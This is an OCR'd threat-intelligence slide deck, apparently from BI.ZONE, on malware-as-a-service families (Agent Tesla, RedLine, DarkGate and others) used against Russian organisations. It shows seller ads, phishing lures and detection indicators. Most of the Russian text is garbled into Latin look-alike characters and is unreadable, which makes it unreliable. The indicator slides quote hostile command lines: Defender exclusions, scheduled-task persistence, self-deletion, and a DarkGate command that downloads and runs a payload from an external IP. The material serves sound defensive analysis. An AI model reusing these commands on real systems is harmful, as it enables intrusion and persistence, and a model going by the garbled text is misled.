From the Darkness

Kak kKoMMep4yeckoe BI'1O
CTAQHOBUTCS OPYYXXUEM MPOTUB
POCCUNCKUX OpraHn3aumnm

Oner CKyNnKWH
PykoBoauTenb BI.ZONE Threat Intelligence




whoami

PykoBoautenb BI.ZONE Threat Intelligence
12+ neT pa3bopa MHUMNOEHTOB MO BCEMY MUPY
ABTOP N COaBTOP MHOXeCTBa NCccnegoBaHMN,
a TaKXXe KHUT No LMPpoBON KPUMUHANNCTUKE
N pearmMpoBaHMIO HA MHLUMOEHTDI

GCFA, GCTI



YTO Mbl MOYXXeM KYMNUTb B AapKHeTe?
Ila Bce, yTo yrogHo!



Agent Tesla

BRONZE SlLGER GOLD

$ L
$12 2 ol $35 TeM He MeHee, 5TO He MeLllaeT
3/10yMbllLUNTeHHUKaM MpoaaBaTb

1 Month License 3 Month License 6 Month License

2124 Support S ppon 7124 Suppert «B3JTOMaHHbIEe» BEpPCUUU
Web Pane Web Pane Web Pane
Advanced Keylogge! Advanced Keylogger Advanced Keylogger
FUD Crypter FUD Crypter FUD Crypte
doc/is Converter doc/xis Converter docsds Converter Well usual cracking is more than 450-500
1 Month Updates 3 Months Updates 6 Months Updates
1 Month Builds 3 Months Builds 6 Months Builds
| am talking about a 1 year plan
Payment Method PAYMENT METHOD Payment Method

full premium
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and support

OdurumanbHbIN canT 3akpbinca B 2018 roay latest version




Agent Tesla

NPOOAM | #1 rat: agent tesla builder 3.2.5.5 + panel (free)

#1 RAT: Agent Tesla Builder 2.2.5.5 + panel (FREE)

Always run programs on your VPS or in a Sandboxie
TURN OFF ANTIVIRUS (THIS IS REAL TESLA AGENT STEALER BOTNET)

| am not responsible for the actions of the people downloading this, what you do is your own choice

Spiker201
YHECTHWK

E3 HauaTh Nepenucky Bleepingcomputer:

10 Hos 2020

Our latest Global Threat Index for April 2020 has found several COVID-19 related spam campaigns distributing a new variant of the Agent Tesla remote access trojan, moving it up to 3rd
41
place in the Index, impacting 3% of organizations worldwide.

Keystrokes
Screenshots

Webcam Captures

Password steal
Control Logs

Explort

HWID

MO)XHO HanTU 1 becnnaTHble BEpCUM



Agent Tesla

I: HenoaTeepXXAeHHbIN 3aKa3 Ha NOCTaBKy [ 3anpoc Ha NOCTaBKY NPOMbILLNIEHHOW
npoaykuuu_(P.O_4044280)_
T e ——— | — - € —— — >

Komy:

3axa3s wa nocrasxy_|(...
436,6 Kb

Cxkavars - lNpensapurensHbii NPOCMOTP

Aobpoe yTpo,

Noxanyicra, NPUNOKUTE 3aKa3 Ha NOCTABKY, KOTOPbIHA A OTNPABMA Bam B NPOLLINOM MECALe.

Al He NoNYYMA OT BaC OTBETA NO NOBOAY 3aNPOCa Ha 3aKa3.

Bbino nu oHo obpaborano?

KNAMEHT y MEHA Ha Wee, CKAXKUTE NOXANYHCTa, CMOXETE Nk Bbl YNOMMUTLCA B CPOKM A0CTaBKM 3aKasa.
Al ¢ HeTepnexnnem Ay sawero GbICTPOro orsera.

C HaMNYHLWKMMK NOXENAHMAMM,



Agent Tesla: BO3MOXXHOCTM OOHapy>XeHUS

1. TMopo3pwuTtenbHblie dannbl B noanankax AppData

2. MonbiTkn oTkNtoveHna Windows Defender: powershell.exe
Add-MpPreferenceExclusionPath [Agent Tesla]

3. Process Hollowing: MSBuild.exe, vbc.exe, RegSvcs.exe u
Apyruve

4. Co3paHue 3agad B NaHuMpoBLumMKe: schtasks.exe /Create /TN
"Updates" /XML "[nyTb K BpeMeHHOoMY danny XML]"

5. Moandumkauma pasgenos peecTpa:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\
Explorer\Startup Approved\Run



FormBook

FormBook Formgrabber v0.3 [from $29]

Pa3paboTuymnKm 6bII HEAOBOJIbHbI TEM, YTO UX MO ncnonb3yeTcs aTaKyrLWUMHY



FormBook

Re: NauBsapaXX3HHe 3aMOBbI

Komy:

0037827362762.zip
547,4 Kb

Ckavatb -+ MNpeasapuTenbHbii NPOCMOTP

[No6pbl A3eHb,

A3nkyi 3a npagopmy-dakTypy,
[dany4yaHa konis annartbl, AKY0 Mbl 3pabini CEHHA paHiuan,
AbHagiue MaHe, K TONbKi nausepasiue rpowsi.

3 nasaraw,
MeHeaXap na 3akynkax,

Address:
Phone:
Email:



FormBook: BO3MOYXHOCTM OOHapy>XeHUS

1. lMopo3puTtenbHble dannbl B %ProgramFiles%, % Temp%,
%Appdata%, Hanpumep, C:\Program Files (x86)\Ozr4lIn\rzatlltg.exe
2. Process Hollowing: svchost.exe, msiexec.exe, wuauclt.exe, n
Apyrmne
3. Ncnonb3yeT cmd.exe /c del, yTobbl yaanmnTb opUrnHanbHbI dpann
4. MogudpmkKauma pasnenoB peecTpa:
HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKLM|HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies
\Explorer\Run
5. XpaHeHUue cobpaHHbIx gaHHbIX B %APPDATA%\Roaming,
HanpuMmep, C:\Users\[username]\AppData\Roaming\609130U8\
609logrg.ini



RedLine

REDLINE STEALER

& Glade - O 19 ®en 2020

| > B AL Boepda « NepedTn K HoBoMy Orcaesmnars e -

Glade &3

.
[ © |

Aavol apaw

PerncTpaymn: 13 ®es 2020
Coobuiewnms 183
Peaximn n
Ofwme npozasw $2.3%8
Ofuwme noxynxm . $8.222
Nowegreosan $150
TAPAMT L

19 Sas 2020 <« "

NMPU NOKYNKE YEPE3 /1€ ®OPYMA W/IN TAPAHTA ®OPYMA 20% CKMAKA HA BCE
BUAbI YCNyr

Mucare TONbBKO M TONbKO cloaa https:/ /t.me/ https://t.me
/ _bot n Tpe6osars noarsepxxaenmne yepes Ji€ popyma

Xouvy NPeACTASHTS BAM CTMANED, JATOVENHMA NOA YAoGHy paboty ¢ noramu,. CoBHpaeT MAKCMMANBHO-SOCTPEGOBAMNYIO MHDOPMEL0 ann paboTe NO BCem Nanpaanessan. NporpamMs NUcanacs
C YNETOM BCEX NAOMENAHMA MOLER NPOPECCHOMANBHO IAHAMBIOWNMHCH B Cdepe Kapamwra,

BoamoxmocTi Sunaa:

1) CoSupaer na Gpaysepon:

@) Normm » naponm

b) Kyxn

€) Nons a8TO3aN0NHENMA

d) KpaauTiwe KapTe

2) Noaaepxnsaense GPayIeDm

a) Bee Spayrepw Ha Gaze Chromium ( flaxe Chrome nocneanel sepcnn )
b) Bee Gpaysepw wa Gase Gecko ( Mozilla » Ta. )

3) CHap pavmbix us FTP-kamentos, [M-xwinenros

4) HacTpausaemuih Qain-rpabbep No KpuTepmas MyTs, Pacumpesve, NMOMCK 8 NOANANKAX { MOKMHO HACTPOXTE HA HYMMLIE XONOAHLIE KOWENLKH, CTHM 1 Npovee )
5) BuwGopra No CTpanam. HaCTPORKE “EPHOro CNMCKa CTpan, rae 6mna we Gyaer paborars
6) HacTpodxa anT-aySnMKaTa noros B NaMeny

7) CofiupaeT nHPOPHAUMID O CACTEME XePTRM |

»

Crpana

MNopon

Vs Texywero nons3osarens

HWID

Pacxnansmn KNasnaTyDu

CXpUHWOT IKpana

Paapewenve sxpans

Pcmncimiiiinm s



RedLine: BO3MOYXHOCTU OOHapy>XeHUs

1. 3apaHusa B nnaHuMposBLlmKe: "C:\Windows\System32\cmd.exe"
/c schtasks /create /f /sc onlogon /rl highest /tn "svchost" /tr
"C:\Users\Admin\AppData\Roaming\svchost.exe" & exit

2. No6asneHue B ncknouveHma Windows Defender: Add
MpPreference ExclusionPath
"C:\Users\Admin\AppData\Roaming\svchost.exe" Force

3. Wcnonb3oBaHue https://api.ip[.]sb/ip ang nonydyeHus IP-
aflpeca CKOMMNPOMETUPOBaHHOIO YCTPOMCTBA

4. Ncnonb3oBaHne WMI ana cbopa nHdopmMaumnm o
CKOMMPOMETUPOBAHHON cuUcTeMe, Hanpumep, SELECT * FROM
AntivirusProduct



DarkCrystal

Official DarkCrystal RAT

Not open for further replies

DCRAT |
Habmoaeuune

He ctuaaep, a par Ynpasnaenune ¢pannamm

« Muorogyukumosansisid RAT ¢ dyHuxkumeh crunnepa. Cywecrayer
COTHM OT3BIBOB Ha CTopoHHeMm Bopae
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DarkCrystal

B mperviy pcasies

kaspersky

Download the free, award-winning securi
you and your family.

SR tions Bl Mg vt Maheate and Cybercrmnes N Pe b

IRrrncnes eaislng Viiuse s ey Wyware oyl mch roee
Protpcs plas POS umantsd SOMTE AN atlacks

(BOatmai e Spe DrosecnDon WO i~)
_ '.:Y..."r r””“ -

Are you already a user of a Kaspersky product?

You Gl COntinue B0 recetee PO o your eslsiang Kasgershy product of
SANEN 1D & New SONSON with even Mose feahres



DarkCrystal: BO3MOXXHOCTU OBHapy»XXeHUqa

1. BbibupaeT cnyyamHbI NPoLLecc U3 3anyLLleHHbIX B cUCTeMe U
nepemellaeT cBou palbl B €ro KaTanor, co3gas nanky u
MMeHeM, OEHTUYHbIM MMEHU NpoLecca, M Ha3BaB TaKXKe
mcnonHsieMbln dpamn, Hanpumep: C:\Users\
[user]\AppData\Local\Programs\Microsoft VS
Code\Code\Code.exe

2. Mopgudukauma pasgena peecTtpa
HKLM\Software\Microsoft\Windows NT\
CurrentVersion\Winlogon

3. [NonyyeHune cBegeHUM O CKOMMNPOMETUPOBAHHOM CUCTEME C
ncnonb3oBaHueM https://ipinfo[.Jio/json



White Snake

- L8

Price & Contacts

W(Dhite Snake
- . ., We got banned on xss.is forum.
k‘“’ WhiteSnake Stealer :: Price: One of our customers modified build and removed "AntiCIS’
200% - 1 month module.
From now it's forbidden to modify stub, by violating this rule your
345% - 3 months license will be revoked.
590% - 6 months
11008 - 1 year We are already contacted the xss.is admin.
1950% - lifetime https://bi.zone/expertise/blog/stiler-white-snake-

rasprostranyaetsya-pod-vidom-trebovaniy-roskomnadzora/



White Snake

3anpoc B paMKax paccsiegoBaHus yronosHoro gena N°
11091007706001194 CnegcrBeHHbIN KoMutet PO

CnepctBeHHbIV KomuteT PepoceeB M.K. <adschoolfolk... CerogHs B 13:29
Komy:
TpeboBaHue 19098... 9 ___ 3anpoc cneposarten... 9
636,7 Kb =3 1007 Kb

CkayvaTb Bce + [IpocMOTpeTb Bce



White Snake: BO3MOYXHOCTU OOHapy>XeHUS

1. U cHoBa 3agayun B nnaHuposLwuKe: /C chcp 65001 && ping

127.0.0.1 && schtasks /create /tn "[uMa 3apaHusa]" /sc MINUTE /tr

"[MyTb K danny B cozgaHHomn nanke]" /rl [MpaBa gons 3anyckal /f

&& DEL /F /S /Q /A "[nyTb K damny no npepbiayllemy nytnl" &&

START "" "[nyTb K danny B co3gaHHoOM nanke]"

KoOMMYHUKaU MG C y3namMu Tor

Co3pgaHume ncnonHaemblx $ansfioB B

C:\Users\[user]\AppData\Roaming\Microsoft\Windows\Start

Menu\Programs\Startup v Ha BHELUHWUX HOCUTENSIX

4., Coop cBegeHMM o cTpaHe U IP-aapece ¢ NOMOLLbIO 3aMpoca K
http://ip-api[.Jcom/line?fields=query,country

NN



DarkGate

.3 O DarkGate Loader [ FUD // Bypass EDR // ADMIN & SYSTEM LPE // RedTeaming // EXE, DLL,
LNK, URL, MSI, VBS ]

Astop: RastaFartye,

u 2 snerin

RastaFarEye
Kpwnro-Knr

A DarkGate Loader Stub Dulkder

This is @ project that |1 have been working ' since early 2017, and have Invested more 1] ( hour t
hi the ult te tool for pentesters/redteamens
AL the moment | don't inteng to ren o more than 10 people in order to keep this project private,
> not know how to use it because it is a destructive tool

00 not intend to rent it to people who do not understand its meaning and ¢
not currently detected by any antivirus

our features are comoletely undetected because theyv

that knows how o do everything from privilege escalation and many maore exploits and features that you won't find anywhere, .

run directlv in memory without touching disk




Bl.ZONE

DarkGate

[ BHIMANME' JAHHOE COOGUIEHIE NOTYYEHO OT BHEWMETO AJPECANHTA |

Japancrayiire!

Ioasoaste npocurs Bac 06 mnrepasio. Bame Muenie npejacTaniser HenoLeasunil nHTepec.

o BOIMOKHOCTI IPOCHM OTBETITE HA BOIPOCH BO RIOKEHIN! Il BRCIATH Ha NOYTY OOPATHEIM MICKMOM

B c8010 ouepes, M nipociiv Bac npocTanims aKueH T MHTEPRLIO, OG0IRAMITE BONPOCH, HA KOTOPHIE CHITACTE HYAHLM OOPATITE BHIMANIIE.
3apanee Goanmoe cnacnbo 3a Bame coxeficrane!

C ynaxennesm,
Koppecnonaenr

B 310 miuceMo BroAena cosuika Ha caexylonui gaitr:
1. Bonpocsrrar (34 Kb)
Cesuika s cxaunsanus $aiiza: hitps://cloud.mail, blic/K| |

Saitn Gyper xpasmTocs no 11.08.2023




DarkGate: BO3MOXXHOCTM OBHapy»XeHud

1.

3arpy3sKa u BbIMNoO/IHEHME NOAO03PUTESNTbHbIX anN/oB .au3:
C:\Windows\System32\cmd.exe /c mkdir c:\pyjl & cd /d c:\pyjl &
copy c:\windows\system32\curl.exe pyjl.exe & pyjl -o
Autoit3.exe http://45.89.65[.]198:80 & pyijl -o fEcGIf.au3
http://45.89.65[.]198:80/msilrajnmvn & Autoit3.exe fEcGIf.au3
Co3paHue nonb3osaTens s gocrtyna yepes hVNC: cmd.exe
“/c cmdkey /generic:\"127.0.0.2\" /user:\"SafeMode\"
/pass:\"darkgatepasswordO\""

Co3paHme OYEHDb nopgo3puTenbHbIX ApnbliKkoB B Startup,
HanpuMep:
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\dbehhkg.Ink



Snake Keylogger




Snake Keylogger

3anpoc (REQUEST FOR QUOTE)

—— .

Komy:

QR_jpg25102023.UUE
715 Kb

Ckayatb - MpeasaputenbHblii NPOCMOTP

Ho6poe yTpo gambl 1 rocnoaa!l

Al oTnpasun 310 cooblieHne paHee, OTBETA NOKa HET. NOXKaNyicTa, OTNPaBbTe NPeA/IOKEHNE KaK MOXKHO CKopee
CKakuTe, NOXKaNymcTa, MOXKETe /11 Bbl OTNPaBUTb 3TOT ToBap B Mpy3uio?

Ecam aa, TO KakoBbl OCHOBHbIE YC/I0BUA NOCTaBKU? YC/NI0BUA, onaara.
Ecam y Bac ectb Npanuc-AuCT, NPULLAUTE ero.

3apaHee cnacubo.



Snake Keylogger: BO3MOYXHOCTU OOHapy>XeHUS

1. dawvnbl BUAOA:

C:\Users\\[user\AppData\Local\Temp\tmpG[3HaueHne oT O g0
999].tmp

2. C6op nHdopmMaLmm ob IP-agpece yCcTponcTBa C
ncnonbsoBaHmMeM http://checkup|.Jdyndns[.Jorg

3. YpaneHue opurmHanbHoro ¢amna: /C choice /CY/N /DY /T 3 &
Del [MecTOnoONOXXeHune]

4. CospaHume pannos Screenshot.png B nanke SnakeKeylogger ©



http://checkup[.]dyndns[.]org/

CeMb TIMKOB TbMbl

BL.ZONE

CeMb NMKOB TbMbl

Kak mogenb malware-as-a-service
NOMOraeT 3/10yMbILLINEHHMKAM aTakoBaTb
pOCCUINCKUE opraHmM3aumnm

Y3HanTe 6orblle 0 TOM, KaK
Mopgenb malware-as-a-service
MOMOIaeT 3/TIOYMbILUTIEHHUKaM
aTaKoOBaTb POCCUUNCKME
opraHu3saunm




